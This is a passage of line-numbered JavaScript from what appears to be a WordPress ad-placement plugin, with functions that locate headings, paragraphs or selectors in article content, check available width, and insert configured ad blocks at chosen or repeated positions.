1311            posCurrentElement = currentElement.nextSibling;
1312            if (!(typeof obligatoryMargin!=='undefined'&&obligatoryMargin===1)) {
1313                currentElement.classList.add('rfwp_removedMarginBottom');
1314            }
1315        }
1316        currentElement.style.clear = 'both';
1317    } else {
1318        usedElement = currentElement;
1319        if (position == 0) {
1320            posCurrentElement = usedElement;
1321        } else {
1322            posCurrentElement = usedElement.nextSibling;
1323        }
1324    }
1325    return posCurrentElement;
1326}
1327
1328function checkAdsWidth(content_pointer, posCurrentElement, currentElement) {
1329    let widthChecker = document.querySelector('#widthChecker');
1330    let widthCheckerStyle = null;
1331    let content_pointerStyle = getComputedStyle(content_pointer);
1332    /* let getPositionForTempElement = null;
1333    let testImgDetected = false;
1334    let testImg;
1335    let testImageCompWidth;
1336    let testImgCou = 0
1337    let figureChilds;
1338    let figureComWidth;
1339    let fcCou = 0; */
1340    let content = content_pointer.parentElement;
1341
1342    if (!widthChecker) {
1343        widthChecker = document.createElement("div");
1344        widthChecker.setAttribute('id','widthChecker');
1345        widthChecker.style.display = 'flex';
1346    }
1347
1348    if (content) {
1349        posCurrentElement = initTargetToInsert(posCurrentElement, 'term', currentElement);
1350        currentElement.parentNode.insertBefore(widthChecker, posCurrentElement);
1351        widthCheckerStyle = getComputedStyle(widthChecker);
1352        /* testImg = currentElement.previousSibling;
1353        if (testImg) {
1354            while (!testImgDetected&&testImgCou<4) {
1355                if (testImg&&testImg.nodeName.toLowerCase() === 'figure') {
1356                    figureComWidth = getComputedStyle(testImg);
1357                    figureComWidth = parseInt(figureComWidth.width);
1358                    figureChilds = testImg.childNodes;
1359                    if (figureChilds&&figureChilds.length > 0) {
1360                        while (!testImgDetected&&figureChilds[fcCou]) {
1361                            if (figureChilds[fcCou] instanceof HTMLImageElement) {
1362                                testImgDetected = true;
1363                                testImageCompWidth = getComputedStyle(figureChilds[fcCou]);
1364                                testImageCompWidth = parseInt(testImageCompWidth.width);
1365                                console.log('img_f_w:'+figureComWidth+'; img_w:'+testImageCompWidth+';');
1366                            }
1367                            fcCou++;
1368                        }
1369                    }
1370                }
1371                if (testImg instanceof HTMLImageElement) {
1372                    testImgDetected = true;
1373                    testImageCompWidth = getComputedStyle(testImg);
1374                    testImageCompWidth = parseInt(testImageCompWidth.width);
1375                    console.log('img_w:'+testImageCompWidth+';');
1376                }
1377                if (!testImg.previousSibling) {
1378                    break;
1379                }
1380                testImg = testImg.previousSibling;
1381                testImgCou++;
1382            }
1383        }
1384        console.log('cp_w:'+parseInt(content_pointerStyle.width)+'; wc_w:'+parseInt(widthCheckerStyle.width)+';'); */
1385        if (parseInt(widthCheckerStyle.width) >= (parseInt(content_pointerStyle.width) - 50)) {
1386            return true;
1387        }
1388    }
1389    currentElement.parentNode.insertBefore(rb_tempElement, currentElement.nextSibling);
1390    rb_tempElement_check = true;
1391    return false;
1392}
1393
1394/* function currentElementReceiver(revert, curSum, elList, currentElement) {
1395    let origCurrentElement = currentElement;
1396    let content_pointer = document.querySelector("#content_pointer_id");
1397    let sameElementAfterWidth = false;
1398    let testCou = 0;
1399    while (elList[curSum]&&sameElementAfterWidth==false&&testCou < 5) {
1400        currentElement = elList[curSum];
1401        try {
1402            sameElementAfterWidth=true;
1403            sameElementAfterWidth = checkAdsWidth(content_pointer, 0, currentElement);
1404        } catch (ex) {
1405            console.log(ex.message);
1406        }
1407        revert? curSum--: curSum++;
1408        testCou++;
1409    }
1410    return currentElement?currentElement:origCurrentElement;
1411} */
1412
1413function currentElementReceiverSpec(revert, curSum, elList, currentElement) {
1414    let origCurrentElement = currentElement;
1415    let content_pointer = document.querySelector("#content_pointer_id"); /* orig */
1416    let sameElementAfterWidth = false;
1417    let testCou = 0;
1418    while (elList[curSum]&&sameElementAfterWidth==false&&testCou < 5) {
1419        currentElement = elList[curSum]['element'];
1420        try {
1421            sameElementAfterWidth=true;
1422            sameElementAfterWidth = checkAdsWidth(content_pointer, 0, currentElement);
1423        } catch (ex) {
1424            console.log(ex.message);
1425        }
1426        revert? curSum--: curSum++;
1427        testCou++;
1428    }
1429    return currentElement?currentElement:origCurrentElement;
1430}
1431
1432function excIdClUnpacker() {
1433    let excArr = [],
1434        cou = 0,
1435        currExcStr = '',
1436        curExcFirst = '';
1437    excArr['id'] = [];
1438    excArr['class'] = [];
1439    excArr['tag'] = [];
1440    if (excIdClass&&excIdClass.length > 0) {
1441        while (excIdClass[cou]) {
1442            currExcStr = excIdClass[cou];
1443            if (currExcStr.length > 0) {
1444                curExcFirst = currExcStr.substring(0,1);
1445                switch (curExcFirst) {
1446                    case '#':
1447                        if (currExcStr.length > 1) {
1448                            currExcStr = currExcStr.substring(1);
1449                            excArr['id'].push(currExcStr);
1450                        }
1451                        break;
1452                    case '.':
1453                        if (currExcStr.length > 1) {
1454                            currExcStr = currExcStr.substring(1);
1455                            excArr['class'].push(currExcStr);
1456                        }
1457                        break;
1458                    default:
1459                        excArr['tag'].push(currExcStr);
1460                        break;
1461                }
1462                cou++;
1463            }
1464        }
1465    }
1466    return excArr;
1467}
1468
1469function asyncBlocksInsertingFunction(blockSettingArray) {
1470    try {
1471        var content_pointer = document.querySelector("#content_pointer_id"); /* orig */
1472        var parent_with_content = content_pointer.parentElement;
1473        var lordOfElements = parent_with_content;
1474        parent_with_content = parent_with_content.parentElement;
1475        var newElement = document.createElement("div");
1476        var elementToAdd;
1477        var elementToAddStyle;
1478        var poolbackI = 0;
1479        var counter = 0;
1480        var currentElement;
1481        var repeatableCurrentElement;
1482        var repeatableSuccess;
1483        var reCou;
1484        var curFirstPlace;
1485        var curElementCount;
1486        var curElementStep;
1487        var backElement = 0;
1488        var sumResult = 0;
1489        var curSumResult = 0;
1490        var repeat = false;
1491        var currentElementChecker = false;
1492        let containerFor6th = [];
1493        let containerFor7th = [];
1494        var posCurrentElement;
1495        var block_number;
1496        let contentLength = content_pointer.getAttribute('data-content-length');
1497        let rejectedBlocks = content_pointer.getAttribute('data-rejected-blocks');
1498        if (rejectedBlocks&&rejectedBlocks.length > 0) {
1499            rejectedBlocks = rejectedBlocks.split(',');
1500        }
1501        let widthCheck = false;
1502        let currentElementList;
1503        var testElement1 = null;
1504        var termorarity_parent_with_content = parent_with_content;
1505        var termorarity_parent_with_content_length = 0;
1506        var headersList = ['h1', 'h2', 'h3', 'h4', 'h5', 'h6'];
1507        for (var hc1 = 0; hc1 < headersList.length; hc1++) {
1508            termorarity_parent_with_content_length += termorarity_parent_with_content.getElementsByTagName(headersList[hc1]).length;
1509        }
1510
1511        let detailedElementList;
1512        let ExcStrCou = 1;
1513        let detailedQueryString;
1514        let usedElement;
1515        let tagList = [];
1516        let localSumResult;
1517        let binderName;
1518
1519        var removeClearing;
1520        var repeatableBlockIdentifier = 0;
1521
1522        var i;
1523
1524        if (contentLength < 1) {
1525            contentLength = parent_with_content.innerText.length
1526        }
1527
1528        rb_tempElement = document.querySelector('#rb_tempElement');
1529        if (!rb_tempElement) {
1530            rb_tempElement = document.createElement('span');
1531            rb_tempElement.setAttribute('id', 'rb_tempElement');
1532        }
1533
1534        function getFromConstructions(currentElement) {
1535            if (currentElement.parentElement.tagName.toLowerCase() == "blockquote") {
1536                currentElement = currentElement.parentElement;
1537                /* initTargetToInsert(blockSettingArray, 'element', currentElement); */
1538                currentElement.parentNode.insertBefore(rb_tempElement, currentElement);
1539                rb_tempElement_check = true;
1540                sameElementAfterFromConstruction=false;
1541            } else if (["tr","td","th","thead","tbody","table"].includes(currentElement.parentElement.tagName.toLowerCase())) {
1542                currentElement = currentElement.parentElement;
1543                while (["tr","td","th","thead","tbody","table"].includes(currentElement.parentElement.tagName.toLowerCase())) {
1544                    currentElement = currentElement.parentElement;
1545                }
1546                currentElement.parentNode.insertBefore(rb_tempElement, currentElement);
1547                rb_tempElement_check = true;
1548                sameElementAfterFromConstruction=false;
1549            }
1550            return currentElement;
1551        }
1552
1553        function directClassElementDetecting(blockSettingArray, directElement) {
1554            let findQuery = 0;
1555            let directClassElementResult = [];
1556
1557            currentElement = document.querySelectorAll(directElement);
1558            if (currentElement.length > 0) {
1559                if (blockSettingArray[i]['elementPlace'] > 1) {
1560                    if (currentElement.length >= blockSettingArray[i]['elementPlace']) {
1561                        currentElement = currentElement[blockSettingArray[i]['elementPlace']-1];
1562                    } else if (currentElement.length < blockSettingArray[i]['elementPlace']) {
1563                        currentElement = currentElement[currentElement.length - 1];
1564                    } else {
1565                        findQuery = 1;
1566                    }
1567                } else if (blockSettingArray[i]['elementPlace'] < 0) {
1568                    if ((currentElement.length + blockSettingArray[i]['elementPlace'] + 1) > 0) {
1569                        currentElement = currentElement[currentElement.length + blockSettingArray[i]['elementPlace']];
1570                    } else {
1571                        findQuery = 1;
1572                    }
1573                } else {
1574                    findQuery = 1;
1575                }
1576            } else {
1577                findQuery = 1;
1578            }
1579
1580            directClassElementResult['findQuery'] = findQuery;
1581            directClassElementResult['currentElement'] = currentElement;
1582
1583            return directClassElementResult;
1584        }
1585
1586        function placingToH1(usedElement, elementTagToFind) {
1587            let uselessLet;
1588            currentElement = usedElement.querySelectorAll(elementTagToFind);
1589
1590            if (currentElement.length < 1) {
1591                if (usedElement.parentElement) {
1592                    uselessLet = placingToH1(usedElement.parentElement, elementTagToFind);
1593                }
1594            }
1595            return currentElement;
1596        }
1597
1598        function elementsCleaning(excArr, elList, pwcLocal, gatherString) {
1599            let markedClass = 'rb_m_inc';
1600            let markedClassBad = 'rb_m_exc';
1601            let cou = 0;
1602            let cou1 = 0;
1603            let finalArr = [];
1604            let finalArrClear = [];
1605            let checkNearest;
1606            let outOfRangeCheck;
1607            let gatherRejected;
1608            let allower;
1609
1610            try {
1611                while (elList[cou]) {
1612                    allower = true;
1613                    if (!elList[cou].classList.contains(markedClassBad)) {
1614                        if (excArr&&excArr.length > 0) {
1615                            cou1 = 0;
1616                            while (excArr[cou1]) {
1617                                checkNearest = elList[cou].parentElement.closest(excArr[cou1]);
1618                                if (checkNearest) {
1619                                    checkNearest.classList.add('currClosest');
1620                                    outOfRangeCheck = pwcLocal.querySelector('.currClosest');
1621                                    if (outOfRangeCheck) {
1622                                        allower = false;
1623                                        checkNearest.classList.add(markedClass);
1624                                        gatherRejected = checkNearest.querySelectorAll(gatherString);
1625                                        if (gatherRejected.length > 0) {
1626                                            for (let i1 = 0; i1 < gatherRejected.length; i1++) {
1627                                                gatherRejected[i1].classList.add(markedClassBad);
1628                                            }
1629                                        }
1630                                    }
1631                                    checkNearest.classList.remove('currClosest');
1632                                }
1633                                cou1++;
1634                            }
1635                        }
1636                        if (allower===true) {
1637                            elList[cou].classList.add(markedClass);
1638                            /* finalArr.push(elList[cou]); */
1639                        }
1640                    }
1641                    cou++;
1642                }
1643                finalArr = pwcLocal.querySelectorAll('.'+markedClass+':not('+markedClassBad+')');
1644                finalArrClear = pwcLocal.querySelectorAll('.'+markedClass+',.'+markedClassBad);
1645                if (finalArrClear&&finalArrClear.length > 0) {
1646                    for (let i1 = 0; i1 < finalArrClear.length; i1++) {
1647                        finalArrClear[i1].classList.remove(markedClass,markedClassBad);
1648                    }
1649                }
1650            } catch (er) {
1651                console.log(er.message);
1652            }
1653            return finalArr;
1654        }
1655
1656        function cureentElementsGather(usedElement, loopLimit = 2, localPwc = parent_with_content) {
1657            let curElementSearchRepeater = true;
1658            let curElementSearchCounter = 0;
1659            let currentElementLoc = null;
1660            let ExcludedStringBegin = '';
1661            let ExcludedString = '';
1662            let ExcludedStringEnd = '';
1663            let tagListString = '';
1664            let tagListStringExc = '';
1665            let cou = 0;
1666            /* let excArr = excIdClUnpacker(); */
1667            let tagListCou = 0;
1668
1669            if (usedElement=='h1') {
1670                currentElementLoc = placingToH1(localPwc, usedElement);
1671            } else {
1672                if (usedElement=='h2-4') {tagList = ['h2','h3','h3'];}
1673                else                     {tagList = [usedElement];   }
1674                while (tagList[tagListCou]) {
1675                    tagListString += ((cou++>0)?',':'')+tagList[tagListCou];
1676                    tagListStringExc += ':not('+tagList[tagListCou]+')';
1677                    tagListCou++;
1678                }
1679
1680                ExcludedString = '';
1681                if (excIdClass&&excIdClass.length > 0) {
1682                    for (let i2 = 0; i2 < excIdClass.length; i2++) {
1683                        if (excIdClass[i2].length > 0) {
1684                            ExcludedString += (i2>0?',':'')+excIdClass[i2]+tagListStringExc;
1685                        }
1686                    }
1687                }
1688                detailedQueryString += tagListString+','+ExcludedString;
1689
1690                /* console.log(detailedQueryString); */
1691                while (curElementSearchRepeater&&curElementSearchCounter < loopLimit) {
1692                    try {
1693                        currentElementLoc = localPwc.querySelectorAll(tagListString);
1694                    } catch (e1) {console.log(e1.message);}
1695                    if (!currentElementLoc) {
1696                        if (localPwc.parentElement) {
1697                            localPwc = localPwc.parentElement;
1698                        } else {
1699                            break;
1700                        }
1701                    } else {
1702                        currentElementLoc = elementsCleaning(excIdClass, currentElementLoc, localPwc, detailedQueryString);
1703                        curElementSearchRepeater = false;
1704                    }
1705                    curElementSearchCounter++;
1706                }
1707            }
1708            return currentElementLoc;
1709        }
1710
1711        function currentElementReceiver(revert, localCurEl = currentElement) {
1712            let origCurEl = localCurEl;
1713            curSumResult = sumResult;
1714            detailedElementList = localCurEl;
1715            sameElementAfterWidth = false;
1716            let testCou = 0;
1717            while (detailedElementList[curSumResult]&&sameElementAfterWidth==false&&testCou < 8) {
1718                localCurEl = detailedElementList[curSumResult];
1719                try {
1720                    sameElementAfterWidth=true;
1721                    sameElementAfterWidth = checkAdsWidth(content_pointer, blockSettingArray[i]["elementPosition"], localCurEl);
1722                } catch (ex) {
1723                    console.log(ex.message);
1724                }
1725                revert? curSumResult--: curSumResult++;
1726                testCou++;
1727            }
1728            if (localCurEl) {
1729                currentElementChecker = true;
1730            }
1731            return localCurEl?localCurEl:origCurEl;
1732        }
1733        
1734        function endingActions(block_number) {
1735            usedBlockSettingArrayIds.push(block_number);
1736            blockSettingArray.splice(i--, 1);
1737            poolbackI = 1;
1738        }
1739
1740        for (i = 0; i < blockSettingArray.length; i++) {
1741            currentElement = null;
1742            currentElementChecker = false;
1743            sameElementAfterWidth = false;
1744            sameElementAfterExcClassId = false;
1745            sameElementAfterFromConstruction = false;
1746            tagListCou = 0;
1747            poolbackI = 0;
1748            detailedQueryString = '';
1749            binderName = elementBinderNameGenerator();
1750
1751            try {
1752                if (!blockSettingArray[i]["text"]
1753                    ||(blockSettingArray[i]["text"]&&blockSettingArray[i]["text"].length < 1)
1754                    ||(rejectedBlocks&&rejectedBlocks.includes(blockSettingArray[i]["id"]))
1755                    ||((blockSettingArray[i]["maxHeaders"] > 0)&&(blockSettingArray[i]["maxHeaders"] < parseInt(termorarity_parent_with_content_length)))
1756                    ||((blockSettingArray[i]["maxSymbols"] > 0)&&(blockSettingArray[i]["maxSymbols"] < parseInt(contentLength)))
1757                    ||(content_pointer.classList.contains("hard-content")&&blockSettingArray[i]["setting_type"]!=3)
1758                ) {
1759                    blockSettingArray.splice(i--, 1);
1760                    poolbackI = 1;
1761                    continue;
1762                }
1763
1764                block_number = 0;
1765
1766                elementToAdd = document.createElement("div");
1767                elementToAdd.classList.add("percentPointerClass");
1768                elementToAdd.classList.add("marked");
1769                if (blockSettingArray[i]["sc"]==1) {
1770                    elementToAdd.classList.add("scMark");
1771                }
1772                elementToAdd.innerHTML = blockSettingArray[i]["text"];
1773                elementToAdd.dataset.rbinder = binderName;
1774                block_number = elementToAdd.children[0].attributes['data-id'].value;
1775
1776                if (blockDuplicate == 'no') {
1777                    if (usedBlockSettingArrayIds.length > 0) {
1778                        for (let i1 = 0; i1 < usedBlockSettingArrayIds.length; i1++) {
1779                            if (block_number==usedBlockSettingArrayIds[i1]) {
1780                                blockSettingArray.splice(i--, 1);
1781                                poolbackI = 1;
1782                                break;
1783                            }
1784                        }
1785                        if (poolbackI == 1) {
1786                            continue;
1787                        }
1788                    }
1789                }
1790
1791                elementToAddStyle = createStyleElement(block_number, blockSettingArray[i]["elementCss"]);
1792
1793                if (elementToAddStyle&&elementToAddStyle!='default') {
1794                    elementToAdd.style.textAlign = elementToAddStyle;
1795                }
1796
1797                if ((blockSettingArray[i]["minHeaders"] > 0)&&(blockSettingArray[i]["minHeaders"] > termorarity_parent_with_content_length)) {continue;}
1798                if (blockSettingArray[i]["minSymbols"] > contentLength) {continue;}
1799
1800                if (blockSettingArray[i]["setting_type"] == 1) {
1801                    currentElement = cureentElementsGather(blockSettingArray[i]["element"].toLowerCase());
1802                    if (currentElement) {
1803                        if (blockSettingArray[i]["elementPlace"] < 0) {
1804                            sumResult = currentElement.length + blockSettingArray[i]["elementPlace"];
1805                            if (sumResult >= 0 && sumResult < currentElement.length) {
1806                                currentElement = currentElementReceiver(true);
1807                            }
1808                        } else {
1809                            sumResult = blockSettingArray[i]["elementPlace"] - 1;
1810                            if (sumResult < currentElement.length) {
1811                                currentElement = currentElementReceiver(false);
1812                            }
1813                        }
1814                    }
1815                    if (currentElement != undefined && currentElement != null && currentElementChecker) {
1816                        posCurrentElement = initTargetToInsert(blockSettingArray[i]["elementPosition"], 'element', currentElement);
1817                        currentElement.parentNode.insertBefore(elementToAdd, posCurrentElement);
1818                        currentElement.classList.add('rbinder-'+binderName);
1819                        elementToAdd.classList.remove('coveredAd');
1820                        usedBlockSettingArrayIds.push(block_number);
1821                        blockSettingArray.splice(i--, 1);
1822                        poolbackI = 1;
1823                        rb_tempElement_check = false;
1824                    } else {
1825                        repeat = true;
1826                    }
1827                }
1828                else if (blockSettingArray[i]["setting_type"] == 2) {
1829                    if (blockDuplicate == 'no') {
1830                        blockSettingArray[i]["elementCount"] = 1;
1831                    }
1832                    repeatableCurrentElement = [];
1833                    reCou = 0;
1834                    curFirstPlace = blockSettingArray[i]["firstPlace"];
1835                    curElementCount = blockSettingArray[i]["elementCount"];
1836                    curElementStep = blockSettingArray[i]["elementStep"];
1837                    repeatableSuccess = false;
1838
1839                    elementToAddStyle = createStyleElement(block_number, blockSettingArray[i]["elementCss"]);
1840
1841                    repeatableCurrentElement = cureentElementsGather(blockSettingArray[i]["element"].toLowerCase());
1842                    if (repeatableCurrentElement) {
1843                        for (let i1 = 0; i1 < blockSettingArray[i]["elementCount"]; i1++) {
1844                            currentElementChecker = false;
1845                            let repElementToAdd = document.createElement("div");
1846                            repElementToAdd.classList.add("percentPointerClass");
1847                            repElementToAdd.classList.add("marked");
1848                            if (blockSettingArray[i]["sc"]==1) {
1849                                repElementToAdd.classList.add("scMark");
1850                            }
1851                            repElementToAdd.classList.add("repeatable-mark-"+repeatableBlockIdentifier);
1852                            repElementToAdd.innerHTML = blockSettingArray[i]["text"];
1853
1854                            if (elementToAddStyle&&elementToAddStyle!='default') {
1855                                repElementToAdd.style.textAlign = elementToAddStyle;
1856                            }
1857
1858                            sumResult = Math.round(parseInt(blockSettingArray[i]["firstPlace"]) + (i1*parseInt(blockSettingArray[i]["elementStep"])) - 1);
1859                            if (sumResult < repeatableCurrentElement.length) {
1860                                currentElement = currentElementReceiver(false, repeatableCurrentElement);
1861                            }
1862
1863                            if (currentElement != undefined && currentElement != null && currentElementChecker) {
1864                                posCurrentElement = initTargetToInsert(blockSettingArray[i]["elementPosition"], 'element', currentElement);
1865                                currentElement.parentNode.insertBefore(repElementToAdd, posCurrentElement);
1866                                currentElement.classList.add('rbinder-'+binderName);
1867                                repElementToAdd.classList.remove('coveredAd');
1868                                curFirstPlace = sumResult + parseInt(blockSettingArray[i]["elementStep"]) + 1;
1869                                curElementCount--;
1870                                repeatableSuccess = true;
1871                            } else {
1872                                repeatableSuccess = false;
1873                                break;
1874                            }
1875                        }
1876                    }
1877                    if (repeatableSuccess==true) {
1878                        usedBlockSettingArrayIds.push(block_number);
1879                        blockSettingArray.splice(i--, 1);
1880                        poolbackI = 1;
1881                        repeatableBlockIdentifier++;
1882                    } else {
1883                        if (!blockSettingArray[i]["unsuccess"]) {
1884                            blockSettingArray[i]["unsuccess"] = 1;
1885                        } else {
1886                            blockSettingArray[i]["unsuccess"] = Math.round(blockSettingArray[i]["unsuccess"] + 1);
1887                        }
1888                        if (blockSettingArray[i]["unsuccess"] > 10) {
1889                            usedBlockSettingArrayIds.push(block_number);
1890                            blockSettingArray.splice(i--, 1);
1891                            poolbackI = 1;
1892                        } else {
1893                            blockSettingArray[i]["firstPlace"] = curFirstPlace;
1894                            blockSettingArray[i]["elementCount"] = curElementCount;
1895                            blockSettingArray[i]["elementStep"] = curElementStep;
1896                            repeat = true;
1897                        }
1898                    }
1899                }
1900                else if (blockSettingArray[i]["setting_type"] == 3) {
1901                    let elementTypeSymbol = '';
1902                    let elementSpaceSymbol = '';
1903                    let elementName = '';
1904                    let elementType = '';
1905                    let elementTag  = '';
1906                    let findQuery = 0;
1907                    let directClassResult = [];
1908                    let directElement = blockSettingArray[i]["directElement"].trim();
1909
1910                    if (directElement.search('#') > -1) {
1911                        findQuery = 1;
1912                    } else if ((directElement.search('#') < 0)&&(directElement.search('.') > -1)) {
1913                        directClassResult = directClassElementDetecting(blockSettingArray, directElement);
1914                        findQuery = directClassResult['findQuery'];
1915                        currentElement = directClassResult['currentElement'];
1916                    }
1917                    if (findQuery == 1) {
1918                        currentElement = document.querySelector(directElement);
1919                    }
1920                    if (currentElement) {
1921                        currentElementChecker = true;
1922                    }
1923
1924                    if (currentElement != undefined && currentElement != null && currentElementChecker) {
1925                        posCurrentElement = initTargetToInsert(blockSettingArray[i]["elementPosition"], 'element', currentElement);
1926                        currentElement.parentNode.insertBefore(elementToAdd, posCurrentElement);
1927                        elementToAdd.classList.remove('coveredAd');
1928                        currentElement.classList.add('rbinder-'+binderName);
1929                        usedBlockSettingArrayIds.push(block_number);
1930                        blockSettingArray.splice(i--, 1);
1931                        poolbackI = 1;
1932                    } else {
1933                        repeat = true;
1934                    }
1935                }
1936                else if (blockSettingArray[i]["setting_type"] == 4) {
1937                    document.querySelector("#content_pointer_id").parentElement.append(elementToAdd);
1938                    usedBlockSettingArrayIds.push(block_number);
1939                    blockSettingArray.splice(i--, 1);
1940                    poolbackI = 1;
1941                }
1942                else if (blockSettingArray[i]["setting_type"] == 5) {
1943                    let currentElementList = cureentElementsGather('p', 1, content_pointer.parentElement);
1944                    if (currentElementList&&currentElementList.length > 0) {
1945                        let pCount = currentElementList.length;
1946                        let elementNumber = Math.round(pCount/2);
1947                        if (pCount > 1) {
1948                            currentElement = currentElementList[elementNumber+1];
1949                        }
1950                        if (currentElement != undefined && currentElement != null) {
1951                            if (pCount > 1) {
1952                                currentElement.parentNode.insertBefore(elementToAdd, currentElement);
1953                            } else {
1954                                currentElement.parentNode.insertBefore(elementToAdd, currentElement.nextSibling);
1955                            }
1956                            elementToAdd.classList.remove('coveredAd');
1957                            currentElement.classList.add('rbinder-'+binderName);
1958                            usedBlockSettingArrayIds.push(block_number);
1959                            blockSettingArray.splice(i--, 1);
1960                            poolbackI = 1;
1961                        } else {
1962                            repeat = true;
1963                        }
1964                    } else {
1965                        repeat = true;
1966                    }
1967                }
1968                else if (blockSettingArray[i]["setting_type"] == 6) {
1969                    if (containerFor6th.length > 0) {
1970                        for (let j = 0; j < containerFor6th.length; j++) {
1971                            if (containerFor6th[j]["elementPlace"]<blockSettingArray[i]["elementPlace"]) {
1972                                /* continue; */
1973                                if (j == containerFor6th.length-1) {
1974                                    containerFor6th.push(blockSettingArray[i]);
1975                                    /* usedAdBlocksArray.push(checkIfBlockUsed); */
1976                                    usedBlockSettingArrayIds.push(block_number);
1977                                    blockSettingArray.splice(i--, 1);
1978                                    poolbackI = 1;
1979                                    break;
1980                                }
1981                            } else {
1982                                for (let k = containerFor6th.length-1; k > j-1; k--) {
1983                                    containerFor6th[k + 1] = containerFor6th[k];
1984                                }
1985                                containerFor6th[j] = blockSettingArray[i];
1986                                /* usedAdBlocksArray.push(checkIfBlockUsed); */
1987                                usedBlockSettingArrayIds.push(block_number);
1988                                blockSettingArray.splice(i--, 1);
1989                                poolbackI = 1;
1990                                break;
1991                            }
1992                        }
1993                    } else {
1994                        containerFor6th.push(blockSettingArray[i]);
1995                        usedBlockSettingArrayIds.push(block_number);
1996                        blockSettingArray.splice(i--, 1);
1997                        poolbackI = 1;
1998                    }
1999                /* vidpravutu v vidstiinuk dlya 6ho tipa */
2000                }
2001                else if (blockSettingArray[i]["setting_type"] == 7) {
2002                    if (containerFor7th.length > 0) {
2003                        for (let j = 0; j < containerFor7th.length; j++) {
2004                            if (containerFor7th[j]["elementPlace"]<blockSettingArray[i]["elementPlace"]) {
2005                                /* continue; */
2006                                if (j == containerFor7th.length-1) {
2007                                    containerFor7th.push(blockSettingArray[i]);
2008                                    usedBlockSettingArrayIds.push(block_number);
2009                                    blockSettingArray.splice(i--, 1);
2010                                    poolbackI = 1;
2011                                    break;
2012                                }
2013                            } else {
2014                                for (let k = containerFor7th.length-1; k > j-1; k--) {
2015                                    containerFor7th[k + 1] = containerFor7th[k];
2016                                }
2017                                containerFor7th[j] = blockSettingArray[i];
2018                                usedBlockSettingArrayIds.push(block_number);
2019                                blockSettingArray.splice(i--, 1);
2020                                poolbackI = 1;
2021                                break;
2022                            }
2023                        }
2024                    } else {
2025                        containerFor7th.push(blockSettingArray[i]);
2026                        usedBlockSettingArrayIds.push(block_number);
2027                        blockSettingArray.splice(i--, 1);
2028                        poolbackI = 1;
2029                    }
2030                /* vidpravutu v vidstiinuk dlya 7ho tipa */
2031                }
2032            } catch (e) {
2033                console.log(e.message);
2034            }
2035        }
2036
2037        var array = textLengthGatherer(lordOfElements),
2038            tlArray = array.array,
2039            length = array.length;
2040
2041        if (containerFor6th.length > 0) {
2042            percentInserter(lordOfElements, containerFor6th, tlArray, length);
2043        }
2044        if (containerFor7th.length > 0) {
2045            symbolInserter(lordOfElements, containerFor7th, tlArray);
2046        }
2047        shortcodesInsert();
2048        let stopper = 0;
2049
2050        window.addEventListener('load', function () {
2051            if (repeat = true) {
2052                setTimeout(function () {
2053                    /* asyncBlocksInsertingFunction(blockSettingArray, contentLength) */
2054                    asyncBlocksInsertingFunction(blockSettingArray);
2055                }, 100);
2056            }
2057        });
2058    } catch (e) {
2059        console.log(e.message);
2060    }
2061}
2062
2063function possibleTagsInCheckConfirmer(possibleTagsArray, possibleTagsInCheck) {
2064    if (possibleTagsArray.includes("LI")) {
2065        if (possibleTagsArray.includes("UL")) {
2066            possibleTagsInCheck.push("UL");
2067        }
2068        if (possibleTagsArray.includes("OL")) {
2069            possibleTagsInCheck.push("OL");
2070        }
2071    }
2072
2073    return false;
2074}
2075
2076function textLengthGatherer(lordOfElementsLoc) {
2077    var possibleTagsArray;
2078    if (typeof tagsListForTextLength!=="undefined") {
2079        possibleTagsArray = tagsListForTextLength;
2080    } else {
2081        possibleTagsArray = ["P", "H1", "H2", "H3", "H4", "H5", "H6", "DIV", "BLOCKQUOTE", "INDEX", "ARTICLE", "SECTION"];
2082    }
2083    let possibleTagsInCheck = ["DIV", "INDEX", "SECTION"];
2084
2085    possibleTagsInCheckConfirmer(possibleTagsArray, possibleTagsInCheck);
2086    let excArr = excIdClUnpacker(),
2087        textLength = 0,
2088        tlArray = [];
2089
2090    function textLengthGathererRec(lordOfElementsLoc) {
2091        let allowed;
2091
2092        let cou1;
2093        let classesArray;
2094        let countSuccess = 0;
2095        try {
2096            for (let i = 0; i < lordOfElementsLoc.children.length; i++) {
2097                if (possibleTagsArray.includes(lordOfElementsLoc.children[i].tagName)
2098                    &&!lordOfElementsLoc.children[i].classList.contains("percentPointerClass")
2099                    &&lordOfElementsLoc.children[i].id!="toc_container"
2100                ) {
2101                    if (possibleTagsInCheck.includes(lordOfElementsLoc.children[i].tagName)
2102                        &&(lordOfElementsLoc.children[i].children.length > 0)
2103                    ) {
2104                        allowed = true;
2105                        if (lordOfElementsLoc.children[i].id&&excArr['id'].length > 0) {
2106                            cou1 = 0;
2107                            while (excArr['id'][cou1]) {
2108                                if (lordOfElementsLoc.children[i].id.toLowerCase()==excArr['id'][cou1].toLowerCase()) {
2109                                    allowed = false;
2110                                    break;
2111                                }
2112                                cou1++;
2113                            }
2114                        }
2115
2116                        if (lordOfElementsLoc.children[i].classList.length > 0&&excArr['class'].length > 0) {
2117                            cou1 = 0;
2118                            while (excArr['class'][cou1]) {
2119                                classesArray = excArr['class'][cou1].split('.');
2120                                if (classesArray.every(className => lordOfElementsLoc.children[i].classList.contains(className))) {
2121                                    allowed = false;
2122                                    break;
2123                                }
2124                                cou1++;
2125                            }
2126                        }
2127
2128                        if (excArr['tag'].length > 0) {
2129                            cou1 = 0;
2130                            while (excArr['tag'][cou1]) {
2131                                if (lordOfElementsLoc.children[i].tagName.toLowerCase()==excArr['tag'][cou1].toLowerCase()) {
2132                                    allowed = false;
2133                                    break;
2134                                }
2135                                cou1++;
2136                            }
2137                        }
2138
2139                        if (allowed) {
2140                            if (textLengthGathererRec(lordOfElementsLoc.children[i], excArr, possibleTagsArray, possibleTagsInCheck)) {
2141                                countSuccess++;
2142                                continue;
2143                            }
2144                        }
2145                    }
2146                    textLength = textLength + lordOfElementsLoc.children[i].innerText.length;
2147                    tlArray.push({
2148                        tag: lordOfElementsLoc.children[i].tagName,
2149                        length: lordOfElementsLoc.children[i].innerText.length,
2150                        lengthSum: textLength,
2151                        element: lordOfElementsLoc.children[i]
2152                    });
2153                    countSuccess++;
2154                }
2155            }
2156        } catch (er) {
2157            console.log(er.message);
2158        }
2159        return countSuccess > 0;
2160    }
2161
2162    textLengthGathererRec(lordOfElementsLoc);
2163
2164    return {array: tlArray, length: textLength};
2165}
2166
2167window.asyncFunctionLauncher = function() {
2168    if (window.jsInputerLaunch !== undefined
2169        &&[15, 10].includes(window.jsInputerLaunch)
2170        &&(typeof asyncBlocksInsertingFunction !== 'undefined' )
2171        &&(typeof asyncBlocksInsertingFunction === 'function')
